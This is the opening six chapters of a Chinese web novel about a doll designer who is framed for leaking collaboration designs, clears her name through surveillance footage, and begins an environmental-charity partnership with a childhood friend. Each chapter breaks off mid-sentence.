《狐狸在夜晚来临》 1. 1 《狐狸在夜晚来临》全本免费阅读 一个既缠绵又短暂的春日步入了尾声。这些氤氲春日虽短暂，却如烟雾般缭绕，被炙热的骄阳驱散。漫长干燥的月夜连着千家灯火，一如梦境倏忽幻化，宣告着夏日来临。 夜从海平面朝着这座城市涌来，慢慢渗入平地之间的缝隙。 一间被夜色注满的小工作室坐落于高楼大厦的楼层夹缝中。 “Evelyn，你听说了没，咱们D社要和松塔家联名诶！这次担任主创的肯定又是你！” 花清漓正坐在自己的工位上，借着一盏台灯的光源一边雕刻着手中的石塑粘土，一边听着电话里的同事向自己激动地描述着最工作室新的合作消息。 松塔家和花清漓所在的D社一样，是BJD圈有名的原创人型社。以哥特风的娃娃造型闻名。不同的是，花清漓所在的D社以她怪诞的设计风格所闻名，更是在花清漓担任创意总监后，成为了圈里为数不多的一家以“特体”为主的娃社。哪怕是与市面上同样比例的人偶相比，D社出品的人偶形体上也更加纤细。但比起普通树脂人偶，花清漓更加擅长石塑粘土制偶。更是在去年开设了石塑粘土人偶橱窗后，成为了工作室唯一的石塑粘土人偶系列的主理人。 “听说了。”花清漓举起手中刚雕好的石塑黏土关节槽仔细观察着，一边还不忘出声回应同事的问题。 “松塔家的主美说明天过来和你谈这次联名的人偶造型。＇世界哥''这次不知道又要作什么妖来霍霍我们了，他说让你明天上午和他一起去见松塔家主美的时候带上你平时绘图的平板。”对面的人提醒道。 花清漓应了一声，挂断电话继续打磨手中刚雕好的人偶关节槽。 经过一整天高度集中注意力的雕刻和打磨，手中这个新人偶的素体已基本完成，只待拉筋调试后，即可整体着色。 她终于放松了精神，将手中的人偶关节搁在工作台上，起身拿了包下班回家。 - 第二天的会议果然比想象中还要让人疲惫。 小小的会议室里，花清漓和另外几个同事坐在长桌旁。一身灰色T恤老板Donald身旁，多了一个穿着白色衬衫的男人。 Donald向大家介绍起身边的男人：“这位是松塔家的老板Cade，Evelyn，”他说着，突然开口叫了花清漓一声。互相称英文名是D社的“传统文化”。 花清漓疲惫地抬眼，挤出一个礼貌的微笑朝着两位老板打了个招呼：“老板好，我是D社的创意总监，您可以叫我Evelyn，您有什么想法可以直接和我说。” Cade礼貌地朝着花清漓点点头，偏过头对Donald道：“我知道你们家Evelyn一向很能干，有她在我很放心。我们松塔家一直以来出的都是四分和两分这两个尺寸的人偶，不知道Evelyn对大尺寸的人偶有没有经验？我想把四分和两分这两个尺寸的各出一个新娃。” 花清漓听完这个要求，丝毫没有惊讶。 她客气地笑道：“四分的人偶我很擅长，您大可放心；至于两分的人偶，我只做过一次。您想要什么主题？这两种尺寸的人偶是限定还是通贩？” “哦，是这样的，我想把四分的通贩，然后两分的那种作为限定五套发售。至于风格，Evelyn你来定吧。走我们社的哥特风或你们社的风格都可以。”Cade道。 “我明白了。”花清漓拿出自己平日绘图的平板，找出几张照片向Cade展示道：“这是五年前的限定三分特体，名字叫‘机械鸟’，我在人偶的腹部做了镂空雕花，四肢和躯干也添加了浮雕。如果在人偶躯干上做这些的话，全套下来工期会比普通体耗时更短，两分的人偶工期大概是四个月。四分是六个月。如果想要类似的设计，工期会再长一点。” “工期长没关系。”Cade摆摆手。 花清漓点点头：“行，我把这两个尺寸的设计稿画好后给您过目。之后再做素体。” “那好，今天就先到这里吧。”Donald说完，转头对Cade客套了几句后，两人一同起身朝外走去。 待这两人走远后，花清漓等人也纷纷退出会议室。 路过的原画师见了她，驻足向她打了个招呼：“Evelyn，听说你接了个大单子，需要人给你打下手吗？” 花清漓看向面前的男人，神色复杂地拒绝道：“还是不用了，万一你的另一个人格第二天醒来发现你帮了‘他’最讨厌的人，你们可能就没法和平共处了。” 原画师闻言，神色复杂地吐槽道：“我不记得‘他’有说过讨厌你之类的……” “他没告诉你很正常，上次和世界哥打麻将输了两百块不也没告诉你吗？你不是看了转账记录后，去问得世界哥吗。”花清漓笑道。 “造孽啊，我这病到底什么时候能好啊……”原画师尴尬地捂脸道。 花清漓抬手拍了拍他的肩以示安慰：“没事，你这病那么多年了，大家都习惯了！先走了。” 她说完，头也不回地朝着自己的工位上走去。刚一落座，旁边的女孩就转过身来问她：“Evelyn，你看起来好累，你昨天加班到几点？世界哥又搓磨你了？” 花清漓摇摇头，疲惫道：“昨天只把上一批人偶的关节槽雕完了，今天拼起来看看还有哪里需要修改的，再细磨一下。接下来，我们要出一个两分的限定，只做五套。四分的是联名的通贩款，倒是不急。我先设计限定吧。上一批的你们几个抓紧时间，距离出仓的时间还有一个半月。加油！” “别说了，我最近加班做娃衣，还要给人偶们设计妆面，手都要累断了。” “辛苦你了。”花清漓笑了笑，安慰道。她停顿了片刻，灵光一闪道：“或许新限定的娃衣做起来不会太繁琐。比我们两年前做的手工刺绣可容易太多了。” “我谢谢你噢～我们两年前手工刺绣的那批娃衣我手都要扎废了。我一个不会刺绣的人，硬生生学会了刺绣。” 花清漓耸了耸肩，两手一摊：“那可真是不好意思了。两年前那批售罄之后不是给你发了奖金嘛！” “Donald从去年开始招聘，到现在只招到一个新媒体运营。他的工作效率真低啊……” “新媒体运营？我们的官博不是一直由Donald自己负责吗？Jason来了也没见他写过几次新品宣发的文案啊？”花清漓蹙眉道。 旁边的人被这话逗笑了：“Jason的＇ 2. 2 《狐狸在夜晚来临》全本免费阅读 一周后，花清漓终于将联名人偶的设计稿修改完成。她将四分的人偶设定为“六翼天使”，两分的限定人偶则是参考了美人鱼的形象。但把鱼尾设计成了可以活动的鱼骨架，同时也设计了人版造型。 在仔细修改完设计图后，她放下画笔拿着设计图起身朝办公室走去。 “Donald，设计稿我画完了，请把Cade的联系方式给我，上次谈合作的时候忘记加他了。我和他说一会儿就把改好的设计图给他送过去。”花清漓站在Donald的办公室门口，看见Donald正坐在办公桌前摆弄一只四分人马素体。 “知道了，你那设计稿给我看看吧。”Donald拿出手机发了个信息后起身来到花清漓面前。 花清漓将手稿递给他，顺便介绍道：“＇六翼天使''和人鱼。我给限定设计的这个造型，是因为设想到＇如果在海洋被严重污染的环境下，鱼类最终回变异成什么样子？''我的设想是———在遭受被污染的海水侵蚀后，人鱼美丽的鳞片因污染而脱落。她们原本晶莹剔透的皮肤也开始溃烂。为了活下去她们不得不适应环境。但污染依旧侵蚀着她们的□□，直到美丽的尾巴变成一副残破不堪的骨架。当然了，我同时也为她设计了人版素体。并且设计了下半身可替换。这样一来顾客就多了一个选择，买了人鱼体，也可以加购半身人体以作替换！” “你这个半身素体可替换的点子太好了！”Donald在听完花清漓的描述后，两眼冒光，“无法替换的素体对部分顾客来说，买两只不同形态的人偶价格太高，但是素体半身可替换的话，可替换的半身素体价格不高，顾客会更愿意买！” Donald拿着花清漓的设计稿，一副看到了摇钱树的模样道：“Evelin，这个人鱼体，将来要不要考虑做四分和六分的通贩？加上素体半身可替换这一项，销量一定可以成为我们社的热门产品！” 花清漓点点头：“随便你。但这个通贩的人鱼体我建议你还是等这次联名的限定上架售罄以后再说吧。咱们工作室就那么几个人，你多招几个人吧！” “不是我不想招，是这年头招人真的不好招啊！所有的招聘平台我都发了招聘信息，连官博不也年年都发吗！有创意的设计师太少，我开了高价也没什么动静。”Donald一副“我也没办法”的表情诉苦道。 花清漓见了，暗自在心里翻了个白眼：你要是真有这想法你早行动了，你就是逮着我一个人当驴使！万恶的资本家。 “等Cade过目后，就会通知大家着手制作的。四分的让他们做，两分的我来做。”花清漓转身走到办公室门口对Donald道。 “好好好！等Cade过目之后，就按你说的去办！”Donald一边说一边低头用手机拍下了两张设计稿发给Cade。 很快，对面就来了电话。Donald兴致勃勃地接通电话，很快就和对面聊得喜笑颜开。顺便还把Cade的联系方式推给了花清漓。 花清漓识趣地退出办公室回到了自己的工位上对众人道：“联名的设计稿已经完成，尺寸是四分和两分。等Donald那边敲定，我会把设计稿传给大家开始制作。四分的通贩，两分的是限定，限定我们只做五套。” 她的话音刚落，Donald从办公室里走出来对大家道：“松塔家的Cade老板肯定了Evelyn的设计稿。这次联名的人偶，松塔家的人型师会和大家一起制作。这样一来，大家会轻松很多！lvy，你作为Evelyn的助理，先帮她把素体做出来，尽量不要有瑕疵。” “明白。”lvy看向Donald，严肃地点点头。 Donald继续道：“这一次的合作很重要，大家一定要认真对待。如果流水好，就给大家放个七天假，大家想去哪，想玩什么都和我说，我报销！” 此话一出，众人纷纷欣喜地鼓掌。 某位服装打版师更是惊呼道：“Donald真大气！Evelyn你就是我们的财神爷！” 花清漓被这话逗笑了：“省点力气吧！接下来有得你忙呢！一会儿给你们发红包！记得来群里抢！” “哇哦～不愧是总监，那老板呢？你不给Evelyn也发个红包？” “当然不会亏待了我们的Evelyn！这个红包一定会发，不过要等我们线上开了订之后再说！”Donald说完，众人一片唏嘘。他只好改口道：“一人一百，群里自己领，不要得寸进尺啊，咱们这合作资金还没正式拿到呢……” “谢谢老板！”不等Donald说完，lvy便立刻开口道谢，丝毫不给他反悔的机会。 Donald想说的话被噎回了喉咙里，只好摆摆手，转身进了办公室。 花清漓也拿出早已备好的树脂材料，开始制作人偶躯干的内芯。 她通常习惯用树脂制作人偶素体的内芯，素体再用石塑粘土包裹树脂内芯。用树脂制作的内芯使用寿命更长，不易存在高温软化变形的问题。 当石塑粘土人偶的内芯制作完成后，就可以正式开始将包在外层的石塑粘土材料塑造成目标体形。 当人的注意力集中在一处的时候，常常会忽略周围的很多事。 几日后的一个清晨。 天空藏了起来，下了一点雨。潮湿的空气中夹杂了一点尘土的气味。 花清漓踏入工作室的下一秒，就听见办公室传来Donald愤怒的叫声：“花清漓呢？让她现在就过来给我一个解释！” 听到这话花清漓皱起眉头，看向身旁的助理lvy问：“他这是怎么了？大早上的又发什么疯？” lvy瞥了办公室的门口一眼，解释道：“我也不是很清楚。早上松塔家的Cade怒气冲冲地来了，一进门就把Donald阴阳怪气了一顿。大概是说Donald把我们合作的那设计稿偷偷卖给别家娃社想赚两份钱之类的……” 花清漓听完，转身飞速闯进了Donald的办公室。 刚一进门，就看Cade一脸气愤地坐在沙发上，Donald则是站在一旁赔罪道：“我也没想到Evelyn会把合作稿投给盗版娃社赚外快啊！她的工资是我们全工作室除我以外最高的了。没想到还是这么……” 不等Donald说完，花清漓便上前反驳道：“到底怎么回事？你凭什么就说是我故意泄露了设计稿？既然我的工资全工作室除你以外最高，我根本犯不着去赚外快，更别说用这种明显的方式！你说稿件泄露是我故意的，证据呢？拿不出证据，这就是污蔑。办公室不是有监控吗？你们自己不会看吗？” Donald一副无奈的模样上前来到花清漓面前解释道：“这还用你说？事情发生后我们第一时间就掉了监控，没有人到你工位上停留！除了lvy给你送咖啡，只拍到你玩手机发信息。我也想帮你啊，可是现实不允许啊？法务去和对方沟通的时候，对面说是他们找你买的！” 花清漓强忍着怒意，要求道：“不可能，我没有接外 3. 3 《狐狸在夜晚来临》全本免费阅读 从D社被停职后的第一天早上，花清漓外出到市中心逛街散心时接到了师父的电话。 “Evelyn你怎么突然被停职了？”师父的语气焦急万分，反而让花清漓很惊喜。 她没有回答师父的话，反倒十分惊喜地问对面：“师父，您记得我的电话号码啦！” “不要岔开话题，我问你为什么被停职。你不是D社的摇钱树吗，他们怎么同意放你走的？” 花清漓抬手挠了挠脑袋自嘲道：“现在不是摇钱树，是赔钱货咯。我还是把周围的人想得太善良了，以为工作室的大家都是＇一家人''，下场就是我的设计稿被泄露给盗版娃社。他是赚快钱了，倒霉的却是我。监控居然查不出问题，真是气死我了……” 话说了一半，花清漓的视线不自觉地被不远处的一个潮玩摊吸引。 准确地说，吸引她的不是潮玩，而是摆摊的那个男人手上闪闪发光的爱彼26579CB手表。 这个男人穿了一身浅灰蓝的衬衫，坐在一个小棚子下，长相很是吸睛，路过的女孩们的目光无一不在他身上停留片刻。他的身前还摆着一张摆满潮玩的折叠桌，旁边更是摆着一个大大的告示牌，写着“心悦自然，绿色偕行”的宣传语。 “Evelyn，你要不要辞职来师父的人型社……” “对不起，师父，”花清漓不得不出言打断了师父的话，“D社那边我已经辞职了，但我还得干满30天才能算辞职。本来明天还得上班的，我干脆请了年假想休息一下。监控的事我会尽快查清楚的，您不用担心我。等我处理完这些事就去看您和师兄。” 挂断电话后，花清漓仔细看了一眼那个穿着灰蓝色衬衫的男人，很快就认出对方是自己那位潮玩设计师发小，沈确。 花清漓正觉得奇怪。沈确一个潮玩设计师，和他旁边写着“心悦自然，绿色偕行”的环保宣传语的立牌很难联系到一起。 她在角落驻足停留了片刻，翻出手机查看了沈确所在的潮玩社官博。通过官博历年发布的商品微博，花清漓将小摊上摆放的潮玩和官博照片一一对上，发现用来摆摊的这些大多是几年前的旧款式，在官店销量并不高。 就在她想偷拍下沈确摆摊的照片发给他时，却看到手机镜头里的沈确突然十分臭屁地带上了墨镜。顺便还不忘朝着花清漓的镜头招了招手。 眼看偷拍被逮了个正着，花清漓只好收起手机开到沈确跟前。不等沈确开口，花清漓一时计上心头，冲他道：“小沈总这摊子很冷清嘛。” 沈确朝着花清漓转过脸，吊儿郎当地回呛道：“总比某些人被别人阴得背锅停职强。” 花清漓也不和他生气，反倒在他身旁的空椅子上落座，毫不示弱地反驳道：“你消息那么快，看来你很关注我啊！好感动哦！” 最后一句花清漓故意看着沈确说得声色并茂，直到沈确瞬间黑了脸，她才玩笑道：“一点小问题而已。人才到哪里都能发挥她的价值。况且，风水轮流转这个道理你应该明白！” “你倒是想的开，”沈确看向花清漓，语气没了刚才吊儿郎当，“D社的Donald发了你倒卖合作限定设计稿的公告，D社官博下面玩家们已经把你骂了几百楼了。你一点都不急？” “急有什么用。还不如想想怎么给我自己打一个漂亮的翻身仗。”花清漓摆弄着桌面上可爱的潮玩手办道，“我这段时间刚画完一个新系列的设计稿，只可惜还没来得及着手制作就出了这种烦人的事。” 沈确看着她，调侃道：“嘴上说不急，其实心里烦得要死。从小到大你哪次碰到烦心事不都这样。” 花清漓手上的动作微微一顿，眼珠一转计上心头。她转过头看着沈确，露出一个狡猾的笑道：“想不想跟我合作试试？” 沈确瞥她一眼，道：“一看就没安好心。说吧，什么条件？” 花清漓耸耸肩：“没什么，就是想像以前一样蹭一蹭你们的名气罢了！” “那么请问Evelyn，我能得到什么好处？”沈确立马摆出一副公事公办的态度道。 “还没想好给你什么好处。”花清漓干笑了两声，反问道：“我看你们这个公益活动，用的都是你们前几年的旧款在摆摊。这活你看起来很不想干啊？” 沈确被她第一句话气笑了，低声解释道：“就我们工作室每个季度都要组织一个以公益活动为名，实则是低价销售仓库里的过季存货。这些存货上架时销量就不高，放在仓库里卖不出去占地方。索性就拿来做公益活动的义卖品。” “你摆了几天了？卖出去多少啊？”花清漓摆弄着手中的小娃娃问沈确。 “摆一个星期了，一天摆六十个出来也就卖十来个。没办法，毕竟是过季的存货，质量上难免会有细微的缺点。款式也都是普通款。有时候碰到一些玩家路过，还问我为什么不摆销量高的出来卖。我能跟他们说实话嘛？明面上能看出来的事非要我说那么清楚干嘛，留点面子给我不好吗？”沈确无奈地朝着花清漓抱怨道。 “那你们官店月底还上新吗？”花清漓放下手中的小娃娃问。 沈确捧起花清漓刚刚放下的小娃娃道：“我们老板让我们把这批存货早点清空。在清空这批存货之前，我们店铺暂时不上新。为的是给下一次联名款冲销量。” 花清漓有些惊讶：“你们也有新联名？和哪家？” “怎么，D社也有新联名吗？你该不会就是因为这个被停职的吧？发生什么事了？”沈确看向花清漓问。 花清漓回想到自己昨天的百口莫辩就心烦。在把来龙去脉告诉沈确后，还不忘吐槽：“我辛辛苦苦那么多天的心血，结果确得了个这样的下场。那几天的监控也显示没有人动过我工位上的东西。我助理给我送了杯咖啡，也没有动过我桌子上的任何东西。我找不到证据，这太奇怪了。” 沈确听完花清漓的描述，问：“你只看了D社的室内监控吗？有没有借隔壁几家商铺的室内监控对比？监控有可能被替换。你助理每天都会给你送咖啡吗？” “她确实每天会定时给我送咖啡。”花清漓说完，起身准备离开。 “这就走了？”沈确叫住她。 花清漓转过身道：“我们合作的事我不会食言的，你这个公益活动挺有意思的，加我一个。不过我今天是没空了。我得去D社的那栋楼隔壁几家工作室那边调几份监控给我拿过去做对比，只要证明监控被替换过，我就能证明自己的清白。” 她说完，头也不回快步流星地消失在人群之中。 现在，她就可以用自己早就准备好的借口回到D社。 她拿出手机给助理lvy打去了电话。 电话很快被接通：“Evelyn？有什么需要我帮忙的吗？” “帮我把D社这一个月内的监控存下来发给我。如果Donald要追责，你就推到我身上。我一会儿会回D社拿我落下的手稿。”花清漓道，“Donald在不在办公室？” “他刚出去谈项目了。” “知道了，我马上就到。”花清漓嘱咐完，随手拦了一辆计程车到了D社所在的商务楼。 她马不停蹄地上楼，刚到D社门口就看见lvy焦急地站在门口等待自己。 “lvy。”花清漓刚上前来，lvy就将一个银色的小U盘塞到了她手里。 “是我偷偷进Donald办公室拷贝的视频，不知道 4. 4 《狐狸在夜晚来临》全本免费阅读 “原来如此。”花清漓在心里道，嘴角忍不住勾起一个嘲讽的笑问Donald：“所以你打算怎么处置？停职？让他主动辞职？他可是泄露了商业机密，还嫁祸给我。我追究到底的话，你确定你保得了他吗？” Donald被花清漓问得哑口无言，最终只好道：“我会开除他。也会起诉他。你不要走好不好，回来继续帮我吧？不要生气了！” “这种话你对外面那些刚毕业的小姑娘说说就得了。我不吃你这套。”花清漓不屑道。 “那你希望我怎么做嘛？我听你的。”Donald无奈问。 花清漓就等他这句话。她看向Donald，吩咐道：“把你们官博那条说我泄露设计稿的通告撤了，然后发声明证明我的清白。我会起诉Jason，你保不了他的。通知他请律师吧。” 她说完干脆利落地转身准备出去，却被Donald叫住：“Evelny，我们之前的合同写了，你就算辞职，你曾经在D社设计的所有作品版权都归D社。你这次为松塔家设计的那个系列设计稿也必须留在D社。而且就算你辞职，按照劳动法你还要继续干满30天，并且按照我们当时的合同，你离职后有半年空窗期，这段时间内你不可以去任何一家人型社！” 停在门口的花清漓平静地听完这番话，回过头瞥了一眼Donald道：“威胁我？” “我只是在陈述事实。”Donald耸耸肩狡辩道。 花清漓没有再说话，翻了个白眼夺门而出，回到自己的工作岗位上。她今天没有带电脑，索性就不再做修改设计稿的事，而是坐在工作台前将一块树脂原料用雕刻刀裁切下来，用作人偶的内芯。 助理lvy上前关心道：“Evelyn，你和Donald的合同是另外拟的。按照合同，你离职后有半年空窗期。这半年你怎么办？” “有能力的人自然不缺好去处。”花清漓靠在椅子上烦躁地回答道。她不想和lvy说自己和MD潮玩社的沈确接下来有合作。没有完全确定的事她不想那么早到处去说，免得惹来不必要的麻烦。 “Donald那种人不会那么容易放你走的。”lvy在花清漓身旁坐下小声道。 花清漓握着刻刀的手没有停，只道：“我在他手底下干了三年，比你们谁都了解他。这一个月你还是顾好你自己吧。他们都知道你是我带出来的人，我走了以后你自己注意点。” “好。”lvy神色暗了暗，没有再说话。 “忙去吧。”花清漓扫了一圈周围的人，提醒道。 lvy只好点点头，回到自己的工位上继续为即将上线的人偶做建模。 就在众人都埋头工作时，Jason突然怒气冲冲地从门外冲进来，直奔Donald的办公室。 Dobald办公室的门被Jason狠狠地摔上。 花清漓听见办公室里传来的一句“你要为花清漓开除我？” 工作室的众人听见花清漓的名字，纷纷向她投来目光。 办公室里的人声渐渐小了很多。花清漓在心里冷笑一声，对众人道：“干活吧！” Donald的办公室里。Jason站在办公桌前挨骂。 “你看你干的好事。”Donald指着Jason劈头盖脸地骂道，“我只是让你压一压花清漓的气势，又没让你把她弄走。她是我的摇钱树！她就是太会管人了，再这样下去整个D社都不会把我这个老板放在眼里。我只是想让她认识到我才是老板，她就算再厉害，在D社也得听我的！” Jason低着头，惊讶地抬眸看向Donald：“原来我们不是Evelny辞职啊……” “我该说你蠢还是该说你什么好？”Donald气不打一处来，再次冲着Jason骂道，“花清漓大学刚毕业那年就被我挖到D社担任女娃造型设计师。如果她没有用我会在她大学的时候就盯着她，等她一毕业就把她挖过来吗？你知不知道她让我多赚了多少钱？” Jason被骂得哑口无言。 “你和Evelyn比起来，根本就没有可比性。”Donald嫌弃地白了他一眼，威胁道：“你最好想办法把Evelyn请回来。如果请不回来，你也不用待在这里了。反正Evelyn说你嫁祸给她的事她会追究到底。只要你去求Evelyn回来，我就会帮你请律师打赢官司。但你偷Evelyn设计稿给盗版人型社的事我绝不会原谅你。你知道你害得D社损失了多少钱吗？这笔帐我迟早算在你头上。” Donald撂下这番话，不再理会Jason，自顾自地出了办公室。 - 花清漓刚把手中这只人偶的腿部浮雕雕了个大概，就瞥见Jason跟着Donald一前一后出了办公室。 Donald没有搭理任何人，而是独自出了工作室的大门。Jason见了花清漓，不管不顾地冲到她面前跪下恳求道：“Evelyn，这件事都是我的错，你能不能不要走。你一走我也完了……我真的很需要这份工作……” Jason突如其来的下跪让所有人感到十分震惊。花清漓皱着眉，只觉得自己在被道德绑架。 “我被要求辞职的时候你考虑过我吗？”花清漓有些生气地回怼道。 “我也是迫于无奈……我最近真的很需要钱，他们说只要拿到你的设计稿，他们就会给我一大笔钱。只要有这笔钱我就可以补上我妹妹的医药费了……”Jason崩溃地解释道。 “你妹妹得癌症花钱如流水我们不是不知道，只要你说大家不是都有帮你吗，你有必要这么做吗？”一旁的lvy忍不住反驳道。 “你们是帮过我，可是钱不够啊。她在ICU一天几万的耗资我实在是没办法了，我只有这一个亲人了……”Jason跪在花清漓面前痛哭流涕。 花清漓 5. 5 《狐狸在夜晚来临》全本免费阅读 “一切就绪，只欠东风！”沈确说着，还不忘调侃道：“希望Evelyn不要让我失望！带着我大赚一笔。到时候咱们有福同享，有难，你来当！” 花清漓翻了个白眼，懒得和沈确计较，只问：“你们为什么会做这个环保公益？” “问得好，”沈确笑道，“因为我们潮玩社想给自家叠个公益大使的buff呗！我们起初也只以为自家只是选择了其中最简单最不需要人手的一种宣传方式而已。但有时候挺麻烦的。这种公益活动我们每年都办，筹到的钱就捐给相关环保机构。这不就是一种很好的宣传吗？” “就这样？”花清漓有些不敢相信。 “就这样。”沈确诚恳地回答道。 花清漓无奈地看着沈确，道：“我这段时间就把我设计的那只人偶做出来。既然要通贩就做成6分的，也就巴掌大小，你看怎么样？” “好啊，需要帮忙吗？”沈确说着，也来了兴趣。 “你们不是在做这个环保项目吗，正好借此机会宣传一下。我准备挑你们那个和绿色矿山建设相关的环保项目入手，你觉得呢？”花清漓看向沈确提议道。 只见沈确拿出手机翻了几下，道：“巧了，咱们最近正好有一个差不多的项目。冷南山你知道吗？申城最大的一个矿山之一，因为长期开采冶炼，地表土重金属含量严重超标，大片土地无法耕种，植物生存困难。有的地方甚至寸草不生。所以源力环保公司和我们公司因此合作，就准备把这块地弄下来，放进我们的环保项目里面。项目已经在谈了，做得好的话正好可以宣传。” 花清漓从沈确的手中将手机抽走，翻看了一下屏幕上的照片。 那的确是一片荒芜的矿山，位置比较偏僻。满地都是沙土和开采出来的矿石。连带着方圆百里几座山都寸草不生。 “看着维护起来很麻烦。不过花点钱和人力，如果能达到正面的宣传效果那也是好的。就算宣传没水花，保护环境也是好的。”花清漓将手机递给沈确，评价道。 “我也是这么想的。”沈确放下手机，看向花清漓又问：“我记得你上次给D社的合作画了很多设计稿，该不会都被D社抢去了吧？” “哇哦～你实在是太聪明了。这都被你发现了”花清漓阴阳怪气地用夸张的语气调侃道，“用脚趾头想都知道Donald放了我这个人，又怎么可能放过我的设计稿呢？当然是被他拿去了。不就几张设计稿吗，我还不至于耿耿于怀。” “你的设计稿是整个人偶圈最赚钱的了吧。”沈确看着花清漓递过来的手机笑道。 “那又怎样，这一次还不是被Donald他们的人摆了一道。要不是我反应快，这次的项目能赔空我大半的积蓄。”花清漓想起这件事就烦。 “你也有今天。”沈确毫不客气地嘲笑道。 “烦死了，不和你说了。”花清漓起身准备离开，没走几步又折回来道：“改天去那个矿山看看怎么样？说不定我们可以有一些新的灵感。” 沈确一听花清漓这样说，故意摆出一副又拽又欠的表情道：“约我出去？想和我约会就直说嘛，干嘛这么拐弯抹角！” 花清漓在心里嫌弃地翻了个白眼，故作“提醒”道：“沈确，” “嗯？”被叫到名字的人得意洋洋地看着她。 “你扣子开了！”她说完，故意将沈确上下扫视了一番，潇洒离去。 沈确尴尬地垂眸将自己扫了一眼，结果发现被骗了。气得冲着花清漓的背影差点开口骂人：“花清漓——”这人怎么每次在自己面前总是说一些奇怪的话。从小时候他就因此多次怀疑花清漓到底是不是女孩子。 又熬过了几日。眼看距离月底的日子越来越近，花清漓终于能感到一丝的放松。 午休后，花清漓靠坐在公园小树的阴影下，身侧的雏菊丛里透过微风隐隐飘来一股淡淡的清香，让她久久不愿起身。 与沈确原本约定的日子也到了。沈确开了车来接她去看冷南山。 靠在树荫下的花清漓穿着一套墨绿色西装，手里揉捏着一小块石塑粘土。她心血来潮按照沈确的骨相来捏，一上车就把手中捏好的小人像按在沈确的方向盘前。 沈确发动车，瞄了一眼花清漓捏的黏土人像，违心地评价道：“和我现在也不像啊。” 花清漓也不气，只问他：“为什么觉得不像？” “就我这温润如玉的君子气质，你一点都没有拿捏到！”沈确反驳道。 “这是你14岁的样子。”花清漓一手支着脑袋，看着窗外道。 沈确闻言，忍不住又看了一眼花清漓刚刚捏好的那枚头像，确实和自己十四岁时的模样差不多。他挑了挑眉，也学着花清漓先前的语气：“我十几岁的长相你记那么清楚？原来你那么关注我啊，好感动！” “捏骨画皮，不就是人型师的基本功吗！我做这些人偶，以前还去学了两年解剖。”花清漓半点都不给他得意的机会。 沈确的话再次被噎了回去，心中忍不住幻想着自己也把花清漓捏成泥娃娃，然后把她的嘴给粘住，省的他每次和花清漓拌嘴都被她用专业捂嘴。 伴随着车辆行驶在蜿蜒的山间公路上，远处大面积的黄色矿山映入眼帘。矿产资源长期被开发和区域全部变为灰白的沙壤土。 从远处为被划为开采区域的山地来看，如果不是沈确说这里曾经是一片大森林，她还真不觉得这片土地能有什么生机。 两人将车停在废弃的采石场外。这个采石场早年因过度开采已被叫停经营，如今留下了这么个“烂摊子”，近几年来也没有什么人来处理。 花清漓一下车就踩在满是皲裂的土地上，空气中弥漫着略带酸涩的气味。 沈确从车上下来，和花清漓一起站在车旁边观察着周围的环境。 “你们社居然愿意插手这里的生态修复工程，好难想象得到啊。”花清漓环视一圈，对着沈确感叹道。 “我们社＇佐藤哥''一句话，我们这些做员工的就要跑断腿。他都发话了我们还能不干吗？”沈确无奈地笑道。 花清漓没有搭理沈确，而是蹲下随手捡起一小块矿石观察着。她 6. 6 《狐狸在夜晚来临》全本免费阅读 花清漓知道沈确不会真的和自己计较，可没想到这家伙一脚油门踩到底，真就把她送到了D社的大楼下。 看着面前熟悉的商务大楼，花清漓来不及和沈确道别就习惯性地匆匆下车朝D社所在的楼层赶过去。直到进电梯迎面撞上“前助理”lvy，才恍然停下脚步。 “Evelyn，你终于来了！”lvy今日穿着一身草绿色的丝绸衬衫搭配黑色西装裤，冲着花清漓打招呼。 “嗯，这两天社里什么情况？”花清漓瞥了一眼lvy的手腕，发现手腕上多了几道刻刀的伤痕，忍不住皱眉问：“你怎么回事？我才走几天你就把自己搞成这个样子？你让我怎么放心把接下来的项目交给你来负责？不是跟你说了不要激动，遇到事情自己多想想办法动动脑子解决。你现在弄出这么明显的伤是生怕别人不知道你有病吗？当初你来应聘的时候我是不是就和你说过，要按时吃药不要影响工作。你看看你现在的样子。” lvy听到花清漓的话连忙将衬衫的袖口扣紧，遮住了伤痕抱歉道：“不会有下次了。Evelyn。” 花清漓叹了口气，电梯也抵达了D社所在的楼层。两人并肩走出电梯进了工作室。 “Evelyn回来啦！”路过的原画师一见到她笑着打了个招呼。 “辛苦了。”花清漓露出一个礼貌的微笑对他道。 “ Evelyn！”一个梳着丸子头的女孩从堆满布料碎片的工位上起身，捧着一堆白色棉麻布料上前递给花清漓，她是娃衣打版师烟烟。 花清漓接过烟烟递来的棉麻布料展开来看，发现是一件颇具希腊风格的吊带连衣裙。尺寸正好是四分娃可穿。 “很漂亮。”花清漓认真地评价道，“背部再留白多一点，因为六翼天使的实体人偶背部会添加翅膀涂装插件，背部留的口子太小的话对玩家来说安装插件会不方便。” “好的。我改一下。”烟烟认真地听取了意见，回到工位上专心改版。 “六翼天使的素体做到哪了？做得几段体？”花清漓左顾右盼地巡视着周围的同事问lvy。 lvy回答道：“Donald说六翼天使的四分素体让我们三段体、整段体都各做一批。肤色除了白肌和普肌，会开灰肌和绿肌、以及浅烧的限时仓，每批放出这三个特殊肤色各二十个名额让娃娘们自行抢购。预定特殊肤色像以前一样额外加500块。素头已经做了一批了，这几天开始在做躯干。另外，Jason已经被开除了。” “Donald让你告诉我的吧。”花清漓调侃道。她一边听完lvy的汇报，还算满意。一边领着lvy走到没什么人的角落随口夸赞道：“这不是做得挺好的吗。以后你不管是在D社当了什么职位，或是去别家人型社当设计师，你懂的越多，什么都能做好，那你赚的钱就越多。你跟在我身边这几年你学了多少东西我都看在眼里，等我正式离职以后就会去DH家。DH也算是我半个家，毕竟是我师父当年开的人型社，在那里我多少也是有面子的，带个人过去也不是什么难事。” “Evelyn，你离职后要去DH家？Donald他们会甘心放你这个摇钱树走吗？我担心就算你走了，他们还会给你使绊子。”lvy担心道。 “这有什么。”花清漓毫不在乎道，“我已经递交了离职申请，等这二十几天过完，他们就没法拿劳动法来压我了。我管他甘不甘心放我走，反正到最后我都会走。以后的事以后再说。”到时候，就看Donald也有没有这个本事找到能接她创意总监职位的人了。 在花清漓的指挥下，所有人的工作都比前几天完成得更加迅速。 “Evelyn，”不知过了多久，烟烟再次从打版间出来，捧着一件刚刚改好的娃衣上前跟花清漓打招呼，“四分的新娃衣我做好了。这一次只保留了最简约的设计风格，你看看，可以的话我把其它的都改了。” 